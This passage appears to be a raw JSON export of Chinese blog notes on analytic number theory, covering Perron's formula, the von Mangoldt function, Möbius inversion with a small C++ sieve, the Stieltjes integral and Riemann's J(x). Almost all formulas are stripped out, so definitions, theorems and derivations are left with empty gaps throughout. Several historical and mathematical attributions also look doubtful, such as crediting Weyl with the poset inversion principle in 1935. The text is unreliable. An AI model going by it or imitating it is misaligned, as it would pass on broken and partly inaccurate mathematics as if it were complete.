的梅林变换统一表示为： 其中 是由 决定的特殊函数（Dirichlet beta、Zeta 或 Meijer G 函数），收敛域为 。 取整函数的逆梅林变换ζ 函数的定义式（对 ）为 。通过阿贝尔变换或分部积分，可将其与取整函数关联： 当 注意到积分下限可扩展至 （因 对 ），上式等价于 的梅林变换形式。应用逆梅林变换公式，直接得到： 收集的片段片段 1 片段 2 其中 ，且级数在 和 时收敛。 片段 3 片段 4For one has 片段 5佩龙公式 (Perron's formula)"},{"title":"","date":"2025-10-06T08:10:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/25.html","permalink":"https://blog.mhuig.top/notes/Zeta/25","excerpt":"","text":"佩龙公式 佩龙公式 历史背景19 世纪末至 20 世纪初，解析数论面临的核心挑战是如何将离散算术函数与连续复分析工具连接起来。1859 年黎曼发表关于素数分布的开创性论文后，数学家们意识到狄利克雷级数的解析性质蕴含着数论函数的深刻信息。正是在这一背景下，德国数学家奥斯卡・佩龙（Oskar Perron）于 1907 年在研究连分数理论时首次系统提出了这一积分表示公式，其原始形式虽未直接针对数论问题，但很快被发现是连接狄利克雷级数与算术函数和的关键工具。 佩龙公式的核心意义在于提供了离散 - 连续对偶性的严格数学表述：它将数论中离散的求和运算（如素数计数函数）转化为复平面上的积分运算，从而允许应用柯西留数定理、围道积分等复分析方法研究数论问题。这种转换在素数定理的证明中展现出决定性作用，通过将切比雪夫 ψ 函数表示为黎曼 ζ 函数的积分形式，数学家得以将素数分布问题转化为对 ζ 函数零点分布的研究。 严格定义与数学表述基本形式设 为算术函数，其狄利克雷级数生成函数为： 其中 为复变量，级数在半平面 （ 为收敛横坐标）内收敛。佩龙公式建立了该级数与部分和函数 之间的积分表示关系。 标准佩龙公式（非实效形式）表述为： 其中求和符号上的撇号表示当 为正整数时，末项需取半值（即 ），积分理解为柯西主值。 带余项的实用形式在实际计算中，无穷积分需截断为有限积分，此时带余项的佩龙公式更为有用。严格表述： 定理（带余项的佩龙公式）： 设 的收敛横坐标为 ，存在递增函数 及 使得 且 （ ）。对任意 ， ，当 ， ， ， 时： 若 非整数： 若 为整数： 其中 为离 最近的整数， ， 常数仅与 相关。 这一形式的关键价值在于明确给出了截断误差估计，使数值计算和理论分析成为可能。特别地，当取 时，余项趋于零，即可恢复无穷积分形式。 推导过程佩龙公式的严格推导需要结合狄利克雷级数与梅林变换的性质，以下分四步给出完整证明： 1. 阶跃函数表示引入 Heaviside 单位阶跃函数： 则算术函数部分和可表示为： 这一表示将有限求和转化为无穷求和，虽引入了大量零项，但为积分变换创造了条件。 2. 狄利克雷级数与积分的交换考虑 的 Mellin 变换： 交换积分与求和（需验证一致收敛性，由狄利克雷级数收敛条件保证），对每个 ，积分区域为 ，故： 代入得： 即得到生成函数与和函数的积分关系： 3. Mellin 逆变换根据 Mellin 变换的反演公式，若 ，则： 对 应用逆变换，注意到 ，则： 这就完成了基本形式的推导。 4. 余项估计（有限积分情形）实际应用中需将无穷积分截断为 的有限积分，余项估计基于复分析中的约当引理和被积函数衰减性。以非整数 为例，积分误差主要来自三部分： 垂直积分路径两端的贡献（ 部分） 被积函数在积分路径右侧可能的奇点（由 的解析性质决定） 附近整数点的跳跃间断贡献 通过构造包含积分路径的矩形围道，应用留数定理可将误差表示为 等显式形式。 核心应用素数定理证明中的关键步骤佩龙公式在解析数论中最著名的应用是素数定理的严格证明。考虑切比雪夫函数： 其中 为曼戈尔特函数（当 时 ，否则为 ）。 若（为素数，）其他情况 其生成函数为黎曼 函数的对数导数： 应用佩龙公式得： 通过围道积分将积分线移至左半平面，留数贡献来自 （主项 ）和 函数零点（余项），最终得到显式表达式： 其中 遍历 函数非平凡零点。 这一公式直接表明：若所有非平凡零点满足 （即黎曼猜想的弱形式），则 ，进而推出素数定理 。 一般方法佩龙公式的应用通常遵循以下步骤： 识别数论函数：确定目标和函数（如 ， 等） 构建生成函数：找到对应的狄利克雷级数（通常需证明解析开拓性质） 应用佩龙公式：选择合适的积分路径（实部 ）和截断参数 围道变形与留数计算：将积分线移至左半平面，计算被积函数奇点的留数贡献 余项估计：利用函数增长性、衰减性控制积分误差项 提取渐近主项：分析留数贡献得到和函数的渐近公式 例如在高斯圆问题（求圆内整点个数）中，通过将 （表示 表为两平方和的方法数）的生成函数 代入佩龙公式，可将整点计数转化为对该乘积函数的围道积分。 推广与现代发展L-Perron 公式：解析延拓与连续性改进标准佩龙公式的结果在整数点处存在跳跃间断（源于 Heaviside 函数的定义）。柯兰（2021）提出的改进形式通过引入包含所有极点的半圆形围道，得到了解析的求和函数： 其中围道 包含生成函数的所有极点。该函数满足 ，且在整个复平面解析。例如对常函数 ， ，完美消除了标准公式在整数点的 修正项。 计算复杂性优化原始佩龙公式的余项估计中包含 项，实际计算需平衡 与 的选取。Improved Perron's Formula 通过拆分求和区域、引入非负不减控制函数 ，将余项改进为： 当取 时，余项可优化至 ，显著提升了数值稳定性。"},{"title":"","date":"2025-10-06T10:10:00.000Z","updated":"2025-12-10T07:33:00.000Z","comments":true,"path":"notes/Zeta/26.html","permalink":"https://blog.mhuig.top/notes/Zeta/26","excerpt":"","text":"曼戈尔特函数 曼戈尔特函数 历史背景1894 年，德国数学家汉斯・阿道夫・曼戈尔特（Hans Adolf von Mangoldt）为解决素数定理的严格证明，引入了一个革命性的算术函数 —— 曼戈尔特函数（ ）。 这一函数的诞生源于 19 世纪数论的核心挑战：素数在自然数中的分布规律。 高斯曾猜想素数计数函数 渐近于 ，而黎曼 1859 年的开创性论文通过 函数将素数分布与复平面上的零点联系起来，但其中的辅助函数 过于复杂。曼戈尔特函数的出现，以其简洁的定义和深刻的性质，成为连接素数分布与 函数零点的关键纽带。 定义曼戈尔特函数 对正整数 的取值规则为： 若（为素数，）其他情况 例如， （因 是素数）， （因 ），而 （ 非素数幂）。这一定义的精妙之处在于，它通过对素数幂加权（权重为素数的对数），将分散的素数信息浓缩为可解析处理的形式。 核心性质：除数求和与解析连接曼戈尔特函数的核心性质体现在其与自然数对数函数的深刻联系。对任意 ，有： 其中求和遍历 的所有正除数 。这一恒等式揭示了素数幂与自然数对数的内在关联：例如，当 时，除数为 ，求和 。 其证明依赖于算术基本定理：将 分解为素数幂 ，则除数 中仅素数幂 对求和有贡献，故： 更关键的是，曼戈尔特函数的生成函数直接关联到黎曼 ζ 函数的对数导数。对 ，有： 这一公式的推导始于 ζ 函数的欧拉乘积表示 。两边取对数得 ，对 求导后： 其中最后一步通过代换 实现。这一结果将离散的数论函数 与复变函数 的解析性质紧密绑定，为素数分布的解析研究奠定了基础。 素数定理的证明：Ψ 函数与零点求和曼戈尔特函数的终极意义体现在素数定理的证明中。定义第二切比雪夫函数： 它是 的前缀和。例如， 。切比雪夫已证明，素数定理 等价于 （ ）。 曼戈尔特的突破在于证明了 的显式公式： 其中求和遍历黎曼 函数的非平凡零点 （ ）。这一公式将素数分布（通过 ）直接表示为 与所有非平凡零点贡献的差。为证明素数定理，需证明当 时， ，这等价于 函数在 上无零点，这正是阿达马与德拉瓦莱 - 普桑 1896 年证明素数定理的核心步骤。 黎曼素数计数函数的积分表达式通过分部积分可建立 与切比雪夫 函数的关系： 其中 为 Mangoldt 函数的求和。这一关系揭示了积分表达式与素数定理 的深刻联系，当 时， ，与素数定理的渐进结果一致。 推导： 通过分部积分从 导出 。具体来说，由于 ，而 （若 ），则： 左侧积分正是 ，因为： 高级应用：零点分布与误差项估计曼戈尔特函数的研究推动了 函数零点分布的深入探索。例如，黎曼 - 冯・曼戈尔特公式给出虚部 的非平凡零点个数： 这为零点密度的估计提供了基础。此外， 函数的误差项 的阶与零点实部 密切相关：若所有零点满足 ，则 。黎曼猜想（ ）若成立，将推出 ，这是素数分布误差项的最优估计。 近年来，曼戈尔特函数在广义素数系统（如 Beurling 素数）中也有推广。例如，对满足 Knopfmacher 公理 A 的算术半群，其广义曼戈尔特函数 的 Ψ 函数仍满足类似的显式公式： 其中 为半群的 “密度常数”。这表明曼戈尔特函数的思想已超越经典数论，成为解析数论的通用工具。 结语曼戈尔特函数以其简洁的定义、深刻的性质和广泛的应用，成为数论中连接离散与连续的典范。它不仅是素数定理证明的关键，也是探索素数分布的核心工具。从 的除数求和性质到 函数的显式公式，每一步都体现了算术函数与复分析的完美融合。"},{"title":"","date":"2025-10-07T00:18:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/28.html","permalink":"https://blog.mhuig.top/notes/Zeta/28","excerpt":"","text":"莫比乌斯反演 莫比乌斯反演 莫比乌斯反演定理作为连接局部与整体计数关系的桥梁，其核心思想可追溯至 19 世纪早期数论研究。1832 年，德国数学家奥古斯特・费迪南德・莫比乌斯在《一种特殊类型的级数反演》中首次引入莫比乌斯函数，为解决 \"已知倍数计数求精确计数\" 的问题提供了数学工具。这一发现后来被证明是组合数学中偏序集反演的特例，其思想渗透到数论、代数、分析乃至物理等多个领域。这里将系统阐述莫比乌斯反演的历史渊源、数学基础、严格推导及其在现代科学中的应用。 历史背景与数学渊源莫比乌斯反演的雏形可追溯至 18 世纪欧拉对素数分布的研究，但其严格数学形式由莫比乌斯于 1832 年正式建立。当时莫比乌斯致力于解决级数反演问题，即给定级数 如何反推出系数 的表达式。尽管其原始工作未直接涉及数论函数的反演，但他定义的莫比乌斯函数 后来被证明具有深刻的数论意义： 当 为 时取值 ，为 个不同素数乘积时取值 ，含有平方因子时取值 0。 19 世纪末，戴德金将莫比乌斯函数推广至代数数论领域，而 20 世纪初布伦（Bruns）首次将其应用于傅里叶系数计算。1947 年温特纳（Wintner）进一步发展了这一思想，为后来的算术傅里叶变换（AFT）奠定基础。1964 年，盖尔芳特和希洛夫引入广义函数理论，使得莫比乌斯反演能够处理连续变量情形，而 1988 年塔夫茨（Tufts）和萨达西文（Sadasiv）提出的 AFT 算法，则展示了莫比乌斯反演在信号处理中的计算优势，其并行处理能力甚至超越了快速傅里叶变换（FFT）。 在数学理论层面，莫比乌斯反演的本质在 20 世纪中期通过偏序集理论得到深刻揭示。1935 年，魏尔（Weyl）指出莫比乌斯反演是局部有限偏序集上的一般反演原理的特例。对于自然数集上的整除关系偏序集 ，其莫比乌斯函数恰好对应经典数论中的定义；而对于集合包含关系偏序集 ，莫比乌斯函数则退化为容斥原理中的系数 。这种统一性使得莫比乌斯反演成为连接离散与连续、局部与整体的数学桥梁。 莫比乌斯函数与狄利克雷卷积莫比乌斯函数的定义看似简单，却蕴含着深刻的数论性质。严格定义如下：对任意正整数 若若为个不同素数之积若含有平方因子 这一定义直接反映了素数因子的组合结构。 例如， ，而 。 莫比乌斯函数的核心性质是其积性：对互素整数 ，有 。 这一性质可通过素因子分解直接验证：若 互素，则它们的素因子完全不同，故其乘积的素因子个数为两者之和，符号自然相乘；若其中之一含有平方因子，则乘积也含有平方因子，结果为 。 莫比乌斯函数与数论函数之间的深刻联系通过狄利克雷卷积运算得以体现。 对于两个数论函数 ，其狄利克雷卷积定义为： 这一运算满足交换律和结合律，构成数论函数集合上的幺半群结构。在这个代数结构中，常数函数 与莫比乌斯函数 互为逆元，即： 若若 这一关键等式被称为莫比乌斯函数的 \"筛选性质\"，其证明需利用算术基本定理： 将 分解为素数幂乘积 则非零贡献仅来自无平方因子的除数 （其中 ），每个子集 贡献 ，总和为 狄利克雷卷积的单位元是单位函数 （其中方括号为 Iverson 符号），满足 。 这一结构使得数论函数空间成为具有单位元的交换半群，而莫比乌斯函数与常数函数的互逆关系，为莫比乌斯反演提供了代数基础。值得注意的是，积性函数在狄利克雷卷积下保持封闭性，这使得我们可以通过素数幂情形的计算来推导一般积性函数的性质。 莫比乌斯反演定理的严格推导莫比乌斯反演定理建立了两个数论函数之间的重要关系。经典形式表述如下： 若对所有正整数 ，有 ，则 。 这一命题的充分性和必要性均可通过狄利克雷卷积的性质严格证明。 必要性证明：假设 ，则在等式两边同时与 作狄利克雷卷积： 这里依次使用了狄利克雷卷积的结合律、 与 的互逆关系，以及单位元性质。这表明 可以由 通过与 的卷积得到，即： 通过变量替换 （即 ），可改写为更常见的形式： 充分性证明：假设 ，则： 从而完成了等价性的证明。这一简洁证明展现了代数结构方法的威力，避免了传统证明中复杂的双重求和交换。 莫比乌斯反演的另一种重要形式涉及倍数求和： 若 ，则 这一形式可通过变量替换 转化为前一种形式，此时 ，反演公式变为 。 这种 \"倍数反演\" 在处理素数分布问题时尤为重要，例如用于将黎曼 函数与素数计数函数联系起来。 值得注意的是，莫比乌斯反演可以推广到更一般的数学结构。 在局部有限偏序集 上，若定义 zeta 函数 （当 时），则其逆函数 满足 对于自然数的整除偏序集，这恰好回到经典莫比乌斯函数；对于集合包含偏序集，得到容斥原理系数；对于线性有序集，则得到差分算子。这种惊人的统一性使得莫比乌斯反演成为现代数学中的通用工具。 推广形式与高维反演莫比乌斯反演的思想可以从多个维度进行推广，既包括连续变量情形，也涵盖高维离散结构。这些推广不仅拓展了理论边界，也为实际应用提供了强大工具。 连续变量的莫比乌斯反演是将自然数集上的整除关系推广为正实数集上的比例关系。对于连续函数 在适当收敛条件下，反演公式为： 进一步将其推广为更一般形式：若 ，则 ，其中 为任意实数。 这一推广使得莫比乌斯反演能够处理具有标度不变性的物理问题。 高维离散反演的典型代表是 Gauss 整环上的莫比乌斯反演。Gauss 整环 是唯一分解整环，其单位群为 。定义 Gauss 整数的莫比乌斯函数：当 为单位元时 ，为 个互不相伴素元乘积时 ，含有平方因子时 .二维算术傅里叶变换公式： 其中 为采样点处的函数值。这一结果将 AFT 算法推广到图像处理领域，显著减少了传统 FFT 所需的采样点数。 代数整数环上的反演是更高层次的推广。对于 次代数数域 的代数整数环 ，若 是单域（即具有唯一分解性），则可定义莫比乌斯函数 ：当 为单位时取值 ，为 个不同素理想乘积时取值 ，否则为 。通过建立 维整点与代数整数环的同构，将莫比乌斯反演推广到 维情形，得到高维算术傅里叶变换公式： 其中 为高维指标。这一成果为高维信号处理和量子多体问题提供了新的数学工具。 值得注意的是，当代数数域不具有唯一分解性时，莫比乌斯函数的定义需通过递推公式 （对 的真因子 求和）。这种定义方式避免了对素因子分解的依赖，使得莫比乌斯反演能够应用于更广泛的代数结构。 应用实例与计算方法莫比乌斯反演在数论、组合数学和科学计算中具有广泛应用，其核心价值在于将复杂的 \"精确计数\" 问题转化为相对简单的 \"倍数计数\" 问题。 数论中的经典应用欧拉函数的反演：欧拉函数 表示小于 且与 互素的整数个数，满足 。应用莫比乌斯反演，可得到： 例如，对 ，其因数为 ，故 ，与直接计算结果一致。这一公式揭示了欧拉函数与莫比乌斯函数的深刻联系，为素数分布研究提供了工具。 素数计数函数：黎曼 函数的倒数可表示为 通过莫比乌斯反演可将素数计数函数 表示为： 其中 为曼戈尔特函数的累积和 。这一公式在解析数论中具有基础地位，展现了莫比乌斯反演连接解析与数论的桥梁作用。 组合计数中的应用最大公约数问题：计算区间 中互素数对的个数，是算法竞赛中的经典问题。通过莫比乌斯反演，可将其转化为倍数计数问题： 其中方括号为 Iverson 符号 。这一转化将双层循环转化为单层求和，结合数论分块技术，可将时间复杂度从 降至 。具体实现时，需预先通过线性筛计算莫比乌斯函数值： void get_mu(int n) { vector<int> mu(n+1), is_prime(n+1, 1); vector<int> primes; mu[1] = 1; for (int i = 2; i <= n; ++i) { if (is_prime[i]) { primes.push_back(i); mu[i] = -1; } for (int p : primes) { if (i * p > n) break; is_prime[i*p] = 0; if (i % p == 0) { mu[i*p] = 0; break; } mu[i*p] = -mu[i]; } }} 这一算法通过素数筛法在线性时间内计算莫比乌斯函数值，为后续反演计算奠定基础。 约数个数问题：计算 （其中 为约数函数），可利用约数函数的积性性质 ，通过莫比乌斯反演转化为： 这一转化将复杂的二维约数求和转化为可高效计算的形式。 科学计算中的应用算术傅里叶变换（AFT）：传统 FFT 算法需要 次运算，而基于莫比乌斯反演的 AFT 算法将傅里叶系数计算转化为： 其中 为采样值 。由于莫比乌斯函数的稀疏性（大部分取值为 0），AFT 的实际运算量显著低于 FFT，且具有天然的并行计算特性。1993 年，凯利（Kelley）和马迪塞蒂（Madisetti）设计的 VLSI 架构证明了 AFT 在硬件实现上的优势，其面积复杂度仅为 FFT 的 。 小波系数计算：将莫比乌斯反演应用于小波分析，得到 Haar 小波系数的反演公式： 其中 为小波变换的采样值 。这一方法避免了传统 Mallat 算法的迭代过程，可直接计算任意小波系数，在图像处理中展现出优异的压缩性能。 结论莫比乌斯反演从 19 世纪数论中的一个特殊工具，发展为现代数学和科学中的通用方法，其演化历程折射出数学思想的深刻统一性。通过狄利克雷卷积的代数框架，我们得以理解莫比乌斯反演的本质是局部有限偏序集上的一般反演原理在数论函数空间的具体表现。统一了离散与连续、有限与无限的反演问题。 莫比乌斯反演的魅力在于其将复杂问题 \"对偶化\" 的能力，通过引入适当的 \"倍数计数\" 函数，将困难的精确计数转化为简单的求和运算。这种思想方法不仅是数学研究的有力工具。"},{"title":"","date":"2025-10-07T08:18:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/29.html","permalink":"https://blog.mhuig.top/notes/Zeta/29","excerpt":"","text":"斯蒂尔杰斯积分 斯蒂尔杰斯积分 1894 年，荷兰数学家托马斯・斯蒂尔杰斯（Stieltjes，Thomas Jan）在其经典《连分数的研究》中首次提出了一种全新的积分概念，这一概念后来以他的名字命名为斯蒂尔杰斯积分。这一发明源于他对矩问题和连分数理论的深入研究，当时他发现传统的黎曼积分无法有效处理质量分布的一般情形，特别是当质量既包含连续分布又包含离散质点时。斯蒂尔杰斯积分的核心创新在于将积分和中的区间长度替换为一个辅助函数的增量，从而将黎曼积分作为特殊情形包含其中，同时极大地拓展了积分的应用范围。这种推广不仅解决了当时矩问题研究中的关键瓶颈，更为 20 世纪测度论和泛函分析的发展奠定了基础。 历史背景与思想起源斯蒂尔杰斯的数学道路充满传奇色彩。这位三次高考失利、从未获得正式大学学位的荷兰数学家，通过自学掌握了当时最前沿的数学知识，并与埃尔米特、庞加莱等数学巨匠保持密切通信。他的研究最初集中在天体力学和连分数理论，正是在探索连分数与定积分的渐近关系时，斯蒂尔杰斯发现了传统积分概念的局限性。 19 世纪末的数学界正面临着一系列挑战：如何严格处理不连续函数？如何统一描述连续与离散的质量分布？如何将力学中的矩问题推广到更一般的情形？斯蒂尔杰斯在研究无穷区间上的矩问题时意识到，需要一种能够同时处理连续变量和离散质点的积分工具。传统的黎曼积分将区间分割为小区间并以其长度作为权重，而斯蒂尔杰斯创造性地用一个分布函数的增量替代区间长度，这一思想直接导致了斯蒂尔杰斯积分的诞生。 这一突破的历史必然性体现在两个方面：一方面，19 世纪末实分析的发展已为积分概念的推广积累了足够的技术准备，包括柯西、黎曼、达布等人对积分理论的系统化工作；另一方面，物理学中对非均匀质量分布和概率统计中对离散与连续分布统一描述的需求，为新积分理论提供了强大的应用动机。斯蒂尔杰斯的贡献在于将这些零散的思想汇聚成一个严谨的数学框架，并通过连分数理论揭示了其深刻的分析学意义。 数学基础：有界变差函数与积分定义有界变差函数理论斯蒂尔杰斯积分的建立依赖于一个关键概念 —— 有界变差函数。设函数 定义在区间 上，对于任意分割 ，称 为 关于分割 的变差。若所有可能变差的上确界有限，即 则称 是 上的有界变差函数，记为 。 有界变差函数具有一系列深刻性质： 分解定理：任何有界变差函数都可表示为两个单调递增函数之差，即 ，其中 （全变差函数）和 均为单调递增函数。这一分解揭示了有界变差函数与单调函数的本质联系，为斯蒂尔杰斯积分的研究提供了重要工具。 几乎处处可微性：有界变差函数几乎处处可微，且其导数勒贝格可积（这一结果后来由勒贝格证明）。 全变差的可加性：对任意 ，有 。这一性质表明全变差函数是区间可加的，类似于测度的性质。 斯蒂尔杰斯积分的定义设 和 是定义在 上的有界函数，对任意分割 和介点 ，构造斯蒂尔杰斯积分和： 记分割的细度为 。若当 时，上述积分和的极限存在且与分割方式及介点选取无关，则称 关于 在 上斯蒂尔杰斯可积，记为 为了使这一定义严格化，斯蒂尔杰斯引入了达布 - 斯蒂尔杰斯上下和： 并定义上下积分： 当上下积分相等时，称 关于 可积。 可积性条件斯蒂尔杰斯积分的存在性依赖于 和 的相互关系，核心结果包括： 连续性与有界变差的对偶性： 若 （连续）且 （有界变差），则 关于 可积。 若 且 ，则 关于 可积。 这一惊人的对偶关系表明，连续性和有界变差是斯蒂尔杰斯积分存在的互补条件，这为分部积分公式奠定了基础。 勒贝格型判据： 关于 可积的充要条件是，对任意 ，存在分割 ，使得函数 的振幅大于 的那些子区间上， 的变差总和小于 。形式化地，记 则对任意 ，存在分割 使得 。 核心性质与定理线性与可加性斯蒂尔杰斯积分具有自然的线性性质： 对被积函数的线性：若 关于 可积， ，则 关于 可积，且 对积分函数的线性：若 关于 可积， ，则 关于 可积，且 区间可加性：对任意 ，有 分部积分公式斯蒂尔杰斯积分的分部积分公式揭示了积分中两个函数的对称关系：若 且 ，则 这一公式的证明巧妙地利用了积分和的重排： 其中 是子区间中的介点。当分割细度趋于零时，两端的积分和分别收敛到相应的斯蒂尔杰斯积分。 分部积分公式不仅具有理论意义，还提供了计算斯蒂尔杰斯积分的有效工具。特别地，当 是绝对连续函数时，这一公式退化为黎曼积分的分部积分公式。 中值定理类似于黎曼积分，斯蒂尔杰斯积分也有中值定理，但其形式依赖于 的单调性： 第一中值定理：设 ， 为单调递增函数，则存在 使得 第二中值定理：设 ， 且单调，则存在 使得 这些中值定理在证明积分估计和渐近公式中发挥着关键作用，特别是在概率统计和数值分析中。 与黎曼积分的联系当积分函数 时，斯蒂尔杰斯积分退化为黎曼积分： 更一般地，若 可导且 （黎曼可积），则斯蒂尔杰斯积分可化为黎曼积分： 这一结果建立了两种积分之间的桥梁，表明斯蒂尔杰斯积分确实是黎曼积分的自然推广。 应用与推广数学物理中的矩问题斯蒂尔杰斯积分的最初动机之一是解决矩问题。给定一个矩序列 ，其中 ，矩问题研究如何由这些矩确定测度 。斯蒂尔杰斯通过引入以分布函数 为权重的积分 将离散质点系的矩和连续分布的矩统一起来，从而建立了经典矩问题的理论框架。 这一工作的深远影响在于，它将分析学、概率论和算子理论联系起来，为后来希尔伯特空间中自伴算子的谱理论奠定了基础。特别地，斯蒂尔杰斯矩问题的解的唯一性条件（Carleman 条件）至今仍是研究的热点。 概率论中的应用斯蒂尔杰斯积分在概率论中具有核心地位，它提供了描述随机变量分布的统一框架： 分布函数与期望：随机变量 的期望 可表示为斯蒂尔杰斯积分 其中 是分布函数。这一表示同时包含了离散型（ 为阶梯函数）和连续型（ 绝对连续）随机变量的情形。 切比雪夫不等式：利用斯蒂尔杰斯积分可简洁证明概率论中的基本不等式。设随机变量 的期望 ，方差 ，则对任意 ，有 证明中关键一步是将概率表示为斯蒂尔杰斯积分： 数论中的应用斯蒂尔杰斯积分在解析数论中提供了强有力的工具，特别是在处理数论函数的求和时： 黎曼 ζ 函数的近似：黎曼 ζ 函数 可表示为斯蒂尔杰斯积分 其中 是取整函数。通过分部积分可得 其中 是小数部分函数，这一表达式为 ζ 函数的解析延拓提供了途径。 素数定理的证明：素数计数函数 可表示为斯蒂尔杰斯积分 其中 是切比雪夫函数。通过分部积分和 （这是素数定理的等价形式），可得到 。 现代分析中的推广斯蒂尔杰斯积分启发了后来测度论和泛函分析的发展，主要推广方向包括： 勒贝格 - 斯蒂尔杰斯积分：由单调增加右连续函数 生成的测度 满足 ，基于此可定义勒贝格 - 斯蒂尔杰斯积分，它克服了黎曼 - 斯蒂尔杰斯积分对函数连续性的限制。 Radon-Nikodym 定理：该定理揭示了绝对连续测度与密度函数的关系，是斯蒂尔杰斯积分中 这一关系的推广。 Riesz 表示定理：Hilbert 空间上的有界线性泛函可表示为内积，这一深刻结果的一个特例是： 上的连续线性泛函可表示为斯蒂尔杰斯积分 其中 。这建立了泛函分析与斯蒂尔杰斯积分的本质联系。 结语斯蒂尔杰斯积分从根本上改变了对积分的理解，它打破了黎曼积分中区间长度作为唯一权重的限制，引入了分布函数作为更一般的权重概念，从而为现代测度论铺平了道路。回顾斯蒂尔杰斯的工作，我们看到数学创新往往源于对具体问题的深入思考，从连分数到矩问题，从力学应用到函数论研究，斯蒂尔杰斯将这些看似不相关的领域通过新的积分概念统一起来。 这一发展历程给我们的启示是：数学概念的推广不是形式上的游戏，而是对现实问题和数学内部矛盾的深刻回应。斯蒂尔杰斯积分的成功在于它既保留了黎曼积分的直观几何意义，又极大地拓展了其应用范围，这种 \"向后兼容\" 的创新使得新理论能够被数学界迅速接受并发展。 今天，斯蒂尔杰斯积分已成为分析学的基础工具，在概率论、数论、泛函分析、物理学等领域发挥着不可替代的作用。从自学成才的数学家到现代分析的奠基者，斯蒂尔杰斯的故事也激励着我们跨领域的思维碰撞和对传统观念的勇敢突破。当我们在课堂上学习斯蒂尔杰斯积分时，不仅在掌握一种数学工具，更是在传承一种勇于探索、追求统一的数学精神。"},{"title":"","date":"2025-10-06T22:10:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/27.html","permalink":"https://blog.mhuig.top/notes/Zeta/27","excerpt":"","text":"黎曼素数计数函数 J (x) 黎曼素数计数函数 J (x) 1859 年，波恩哈德・黎曼在《论小于给定数值的素数个数》中，首次引入了一个革命性的函数被后世称为黎曼素数计数函数 。这个看似简单的无穷级数 将素数分布问题与复分析深度融合。作为连接初等数论与解析数论的枢纽， 的构造蕴含着黎曼对素数分布规律的深刻洞察，其思想影响延续至今，成为解析数论的核心工具之一。 历史背景：素数分布研究的突破在黎曼之前，数学家们已对素数分布规律进行了长期探索。 欧拉在 1737 年通过 建立了 函数与素数的乘积关系，首次将分析工具引入数论。 高斯与勒让德则分别提出素数定理的猜想形式: 或 。这些工作为黎曼的突破奠定了基础，但均未能揭示素数分布的深层解析结构。 黎曼将 函数从实变量延拓至复平面，并发现其非平凡零点与素数分布的精确联系。他引入 作为中间工具，通过对数变换将欧拉乘积公式转化为积分方程 从而建立起素数计数函数 与复变函数论之间的桥梁。这一处理将素数问题从离散计数转化为连续分析问题. 定义黎曼素数计数函数 J (x) 的现代定义为： 其中 是素数计数函数，表示不超过 的素数个数。该级数的特殊性在于其项数随 的增大而有限：对于给定 ，当 时， ，此时 （除非 且 ）。 例如当 时，级数仅包含 到 的项（因 ），实际计算中具有良好的截断性。 需要注意区分两个容易混淆的 \"黎曼函数\"：本文讨论的 是素数计数函数，而数学分析中著名的黎曼函数（Riemann function）是定义在 上的病态函数 二者除名称关联外无实质联系。 核心性质与数学推导1. J (x) 与 π(x) 的莫比乌斯反演关系 本质上是素数及其幂次的加权计数。通过展开定义式可见： 其中 计数素数平方 ， 计数素数立方 ，依此类推。这种构造使 比 具有更好的解析性质，同时通过莫比乌斯反演可由 还原出 ： 这里 是莫比乌斯函数，当 含平方因子时 ，当 为 个不同素数乘积时 。 反演公式的重要性在于：若能得到 的解析表达式，就能精确计算 。 2. 与 ζ 函数的积分表示黎曼的关键洞见是将 与 函数通过拉普拉斯变换联系起来。对欧拉乘积公式取对数得： 通过分部积分转化为斯蒂尔杰斯积分，最终得到 ( ） 这一方程表明 是 的梅林变换逆变换，通过复积分可表示为： 该积分的计算需要分析 函数的零点分布，黎曼正是通过这一途径发现了素数分布与 函数零点的深刻联系。 3. 显式公式与零点分布黎曼进一步利用留数定理计算上述积分，得到 的显式公式： 其中 遍历 函数的非平凡零点， 是对数积分函数。这一公式揭示了一个惊人事实：素数的分布完全由 函数的零点决定。特别地，若黎曼猜想成立（所有非平凡零点满足 ），则误差项可优化为 ，这将使素数定理的误差达到理论最优。 应用与意义1. 素数定理的证明关键 的引入为素数定理的严格证明提供了技术基础。虽然黎曼未完成证明，但阿达玛与瓦莱 - 普桑 1896 年的工作正是基于他的思想：通过证明 在 上无零点，得到 ，进而推出 。这一过程中， 作为中间函数，其平滑性避免了 的跳跃性带来的分析困难。 2. 计算素数个数的精确方法在实际计算中， 比 更易处理。例如对 ： 通过莫比乌斯反演可从 还原出 。这种方法在计算机出现前是计算 的主要手段。 3. 黎曼猜想的核心地位黎曼猜想断言 函数所有非平凡零点的实部均为 ，这一假设通过 的显式公式直接影响素数分布的误差项。目前已验证前 个零点均满足猜想，但完整证明仍是数学界的 \"圣杯\"。素数分布构成了解析数论的核心，而 与 函数零点的关系则是这一核心的枢纽。 现代拓展与前沿研究当代解析数论对 的推广主要集中在两个方向： 一是将其推广到一般 L 函数的广义素数计数函数，用于研究算术级数中的素数分布； 二是通过零点密度估计（如 Huxley 定理 ）弱化黎曼猜想条件，得到素数定理的误差改进。2024 年 Guth-Maynard 对零密度估计的突破（在 σ≈3 / 4 时达到 ），正是沿着黎曼开辟的道路取得的重要进展。 从欧拉乘积到复平面上的零点分布，黎曼 函数以惊人的优雅连接了数论中最基本的对象与最深邃的方法。它的构造启示我们：看似离散的素数序列，实则蕴含着连续分析的和谐韵律。当我们凝视 的显式公式时，看到的不仅是一个数学表达式，更是人类理性跨越直觉界限、探索宇宙数学结构的永恒追求。黎曼在 160 多年前埋下的这颗种子，至今仍在结出丰硕的果实。"},{"title":"","date":"2025-09-14T04:09:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/3.html","permalink":"https://blog.mhuig.top/notes/Zeta/3","excerpt":"","text":"Clebsch's fair copy of Riemann's publication Clebsch's fair copy of Riemann's publication Riemann-1 Riemann-1 Riemann-2 Riemann-2 Riemann-3 Riemann-3 Riemann-4 Riemann-4 Riemann-5 Riemann-5 Riemann-6 Riemann-6"},{"title":"","date":"2025-10-07T10:08:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/30.html","permalink":"https://blog.mhuig.top/notes/Zeta/30","excerpt":"","text":"威尔斯特拉斯无穷乘积展开 威尔斯特拉斯无穷乘积展开 Let the entire function have only one-order zeros , and these zeros are non-zero. And there is a sequence of encircling paths . Satisfy the following: , 